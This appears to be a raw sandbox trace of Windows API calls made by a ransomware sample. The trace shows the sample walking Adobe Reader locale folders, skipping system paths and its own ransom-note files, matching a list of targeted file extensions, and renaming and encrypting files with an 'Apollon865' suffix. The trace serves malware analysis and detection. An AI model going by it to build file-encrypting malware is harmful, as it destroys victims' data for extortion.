	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.427] lstrlenW (lpString="dbb") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.427] lstrlenW (lpString="vmdk") returned 4
	[0059.427] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.427] lstrlenW (lpString="rar") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.427] lstrlenW (lpString="zip") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.427] lstrlenW (lpString="tgz") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.427] lstrlenW (lpString="vbox") returned 4
	[0059.427] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.427] lstrlenW (lpString="vdi") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.427] lstrlenW (lpString="vhd") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.427] lstrlenW (lpString="vhdx") returned 4
	[0059.427] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.427] lstrlenW (lpString="avhd") returned 4
	[0059.427] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.427] lstrlenW (lpString="db") returned 2
	[0059.427] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.427] lstrlenW (lpString="db2") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.427] lstrlenW (lpString="db3") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.427] lstrlenW (lpString="dbf") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.427] lstrlenW (lpString="mdf") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.427] lstrlenW (lpString="mdb") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.427] lstrlenW (lpString="sql") returned 3
	[0059.427] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.428] lstrlenW (lpString="sqlite") returned 6
	[0059.428] lstrcmpiW (lpString1="te.CAT", lpString2="sqlite") returned 1
	[0059.428] lstrlenW (lpString="sqlite3") returned 7
	[0059.428] lstrcmpiW (lpString1="ite.CAT", lpString2="sqlite3") returned -1
	[0059.428] lstrlenW (lpString="sqlitedb") returned 8
	[0059.428] lstrcmpiW (lpString1="Lite.CAT", lpString2="sqlitedb") returned -1
	[0059.428] lstrlenW (lpString="xml") returned 3
	[0059.428] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.428] lstrlenW (lpString="$er") returned 3
	[0059.428] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.428] lstrlenW (lpString="4dd") returned 3
	[0059.428] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.428] lstrlenW (lpString="4dl") returned 3
	[0059.428] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.428] lstrlenW (lpString="^^^") returned 3
	[0059.428] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.428] lstrlenW (lpString="abs") returned 3
	[0059.428] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.428] lstrlenW (lpString="abx") returned 3
	[0059.428] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.428] lstrlenW (lpString="accdb") returned 5
	[0059.428] lstrcmpiW (lpString1="e.CAT", lpString2="accdb") returned 1
	[0059.428] lstrlenW (lpString="accdc") returned 5
	[0059.428] lstrcmpiW (lpString1="e.CAT", lpString2="accdc") returned 1
	[0059.428] lstrlenW (lpString="accde") returned 5
	[0059.428] lstrcmpiW (lpString1="e.CAT", lpString2="accde") returned 1
	[0059.428] lstrlenW (lpString="accdr") returned 5
	[0059.428] lstrcmpiW (lpString1="e.CAT", lpString2="accdr") returned 1
	[0059.428] lstrlenW (lpString="accdt") returned 5
	[0059.428] lstrcmpiW (lpString1="e.CAT", lpString2="accdt") returned 1
	[0059.428] lstrlenW (lpString="accdw") returned 5
	[0059.428] lstrcmpiW (lpString1="e.CAT", lpString2="accdw") returned 1
	[0059.428] lstrlenW (lpString="accft") returned 5
	[0059.428] lstrcmpiW (lpString1="e.CAT", lpString2="accft") returned 1
	[0059.428] lstrlenW (lpString="adb") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.429] lstrlenW (lpString="adb") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.429] lstrlenW (lpString="ade") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.429] lstrlenW (lpString="adf") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.429] lstrlenW (lpString="adn") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.429] lstrlenW (lpString="adp") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.429] lstrlenW (lpString="alf") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.429] lstrlenW (lpString="ask") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.429] lstrlenW (lpString="btr") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.429] lstrlenW (lpString="cat") returned 3
	[0059.429] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.429] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT.Apollon865") returned 83
	[0059.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.430] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=547840) returned 1
	[0059.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.431] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.431] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.431] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.431] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x85f00, lpName=0x0) returned 0x154
	[0059.433] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x85f00) returned 0x210000
	[0059.461] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.461] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.461] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.462] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0059.467] CloseHandle (hObject=0x154) returned 1
	[0059.467] CloseHandle (hObject=0x15c) returned 1
	[0059.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.470] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RdLang32.CAT", cAlternateFileName="")) returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2=".") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="..") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="windows") returned -1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="bootmgr") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="temp") returned -1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="pagefile.sys") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="boot") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="ids.txt") returned 1
	[0059.470] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="ntuser.dat") returned 1
	[0059.471] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="perflogs") returned 1
	[0059.471] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="MSBuild") returned 1
	[0059.471] lstrlenW (lpString="RdLang32.CAT") returned 12
	[0059.471] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT") returned 72
	[0059.471] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="RdLang32.CAT" | out: lpString1="RdLang32.CAT") returned="RdLang32.CAT"
	[0059.471] lstrlenW (lpString="RdLang32.CAT") returned 12
	[0059.471] lstrlenW (lpString="Apollon865") returned 10
	[0059.471] lstrcmpiW (lpString1="Lang32.CAT", lpString2="Apollon865") returned 1
	[0059.471] lstrlenW (lpString=".dll") returned 4
	[0059.471] lstrcmpiW (lpString1="RdLang32.CAT", lpString2=".dll") returned 1
	[0059.471] lstrlenW (lpString=".lnk") returned 4
	[0059.471] lstrcmpiW (lpString1="RdLang32.CAT", lpString2=".lnk") returned 1
	[0059.471] lstrlenW (lpString=".ini") returned 4
	[0059.471] lstrcmpiW (lpString1="RdLang32.CAT", lpString2=".ini") returned 1
	[0059.471] lstrlenW (lpString=".sys") returned 4
	[0059.471] lstrcmpiW (lpString1="RdLang32.CAT", lpString2=".sys") returned 1
	[0059.471] lstrlenW (lpString="RdLang32.CAT") returned 12
	[0059.471] lstrlenW (lpString="bak") returned 3
	[0059.471] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.471] lstrlenW (lpString="ba_") returned 3
	[0059.471] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.471] lstrlenW (lpString="dbb") returned 3
	[0059.471] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.471] lstrlenW (lpString="vmdk") returned 4
	[0059.471] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.471] lstrlenW (lpString="rar") returned 3
	[0059.471] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.471] lstrlenW (lpString="zip") returned 3
	[0059.471] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.471] lstrlenW (lpString="tgz") returned 3
	[0059.471] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.471] lstrlenW (lpString="vbox") returned 4
	[0059.471] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.471] lstrlenW (lpString="vdi") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.472] lstrlenW (lpString="vhd") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.472] lstrlenW (lpString="vhdx") returned 4
	[0059.472] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.472] lstrlenW (lpString="avhd") returned 4
	[0059.472] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.472] lstrlenW (lpString="db") returned 2
	[0059.472] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.472] lstrlenW (lpString="db2") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.472] lstrlenW (lpString="db3") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.472] lstrlenW (lpString="dbf") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.472] lstrlenW (lpString="mdf") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.472] lstrlenW (lpString="mdb") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.472] lstrlenW (lpString="sql") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.472] lstrlenW (lpString="sqlite") returned 6
	[0059.472] lstrcmpiW (lpString1="32.CAT", lpString2="sqlite") returned -1
	[0059.472] lstrlenW (lpString="sqlite3") returned 7
	[0059.472] lstrcmpiW (lpString1="g32.CAT", lpString2="sqlite3") returned -1
	[0059.472] lstrlenW (lpString="sqlitedb") returned 8
	[0059.472] lstrcmpiW (lpString1="ng32.CAT", lpString2="sqlitedb") returned -1
	[0059.472] lstrlenW (lpString="xml") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.472] lstrlenW (lpString="$er") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.472] lstrlenW (lpString="4dd") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.472] lstrlenW (lpString="4dl") returned 3
	[0059.472] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.473] lstrlenW (lpString="^^^") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.473] lstrlenW (lpString="abs") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.473] lstrlenW (lpString="abx") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.473] lstrlenW (lpString="accdb") returned 5
	[0059.473] lstrcmpiW (lpString1="2.CAT", lpString2="accdb") returned -1
	[0059.473] lstrlenW (lpString="accdc") returned 5
	[0059.473] lstrcmpiW (lpString1="2.CAT", lpString2="accdc") returned -1
	[0059.473] lstrlenW (lpString="accde") returned 5
	[0059.473] lstrcmpiW (lpString1="2.CAT", lpString2="accde") returned -1
	[0059.473] lstrlenW (lpString="accdr") returned 5
	[0059.473] lstrcmpiW (lpString1="2.CAT", lpString2="accdr") returned -1
	[0059.473] lstrlenW (lpString="accdt") returned 5
	[0059.473] lstrcmpiW (lpString1="2.CAT", lpString2="accdt") returned -1
	[0059.473] lstrlenW (lpString="accdw") returned 5
	[0059.473] lstrcmpiW (lpString1="2.CAT", lpString2="accdw") returned -1
	[0059.473] lstrlenW (lpString="accft") returned 5
	[0059.473] lstrcmpiW (lpString1="2.CAT", lpString2="accft") returned -1
	[0059.473] lstrlenW (lpString="adb") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.473] lstrlenW (lpString="adb") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.473] lstrlenW (lpString="ade") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.473] lstrlenW (lpString="adf") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.473] lstrlenW (lpString="adn") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.473] lstrlenW (lpString="adp") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.473] lstrlenW (lpString="alf") returned 3
	[0059.473] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.474] lstrlenW (lpString="ask") returned 3
	[0059.474] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.474] lstrlenW (lpString="btr") returned 3
	[0059.474] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.474] lstrlenW (lpString="cat") returned 3
	[0059.474] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.474] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT.Apollon865") returned 84
	[0059.474] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.476] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1412608) returned 1
	[0059.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.476] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.477] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.477] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.477] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x159100, lpName=0x0) returned 0x154
	[0059.479] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x159100) returned 0x3680000
	[0059.813] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.814] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.814] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.815] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.815] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.815] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.815] UnmapViewOfFile (lpBaseAddress=0x3680000) returned 1
	[0059.828] CloseHandle (hObject=0x154) returned 1
	[0059.828] CloseHandle (hObject=0x15c) returned 1
	[0059.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.834] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadOutLoud.CAT", cAlternateFileName="READOU~1.CAT")) returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2=".") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="..") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="windows") returned -1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="bootmgr") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="temp") returned -1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="pagefile.sys") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="boot") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="ids.txt") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="ntuser.dat") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="perflogs") returned 1
	[0059.834] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2="MSBuild") returned 1
	[0059.834] lstrlenW (lpString="ReadOutLoud.CAT") returned 15
	[0059.834] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT") returned 73
	[0059.835] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ReadOutLoud.CAT" | out: lpString1="ReadOutLoud.CAT") returned="ReadOutLoud.CAT"
	[0059.835] lstrlenW (lpString="ReadOutLoud.CAT") returned 15
	[0059.835] lstrlenW (lpString="Apollon865") returned 10
	[0059.835] lstrcmpiW (lpString1="utLoud.CAT", lpString2="Apollon865") returned 1
	[0059.835] lstrlenW (lpString=".dll") returned 4
	[0059.835] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2=".dll") returned 1
	[0059.835] lstrlenW (lpString=".lnk") returned 4
	[0059.835] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2=".lnk") returned 1
	[0059.835] lstrlenW (lpString=".ini") returned 4
	[0059.835] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2=".ini") returned 1
	[0059.835] lstrlenW (lpString=".sys") returned 4
	[0059.835] lstrcmpiW (lpString1="ReadOutLoud.CAT", lpString2=".sys") returned 1
	[0059.835] lstrlenW (lpString="ReadOutLoud.CAT") returned 15
	[0059.835] lstrlenW (lpString="bak") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.835] lstrlenW (lpString="ba_") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.835] lstrlenW (lpString="dbb") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.835] lstrlenW (lpString="vmdk") returned 4
	[0059.835] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.835] lstrlenW (lpString="rar") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.835] lstrlenW (lpString="zip") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.835] lstrlenW (lpString="tgz") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.835] lstrlenW (lpString="vbox") returned 4
	[0059.835] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.835] lstrlenW (lpString="vdi") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.835] lstrlenW (lpString="vhd") returned 3
	[0059.835] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.835] lstrlenW (lpString="vhdx") returned 4
	[0059.835] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.835] lstrlenW (lpString="avhd") returned 4
	[0059.836] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.836] lstrlenW (lpString="db") returned 2
	[0059.836] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.836] lstrlenW (lpString="db2") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.836] lstrlenW (lpString="db3") returned 3
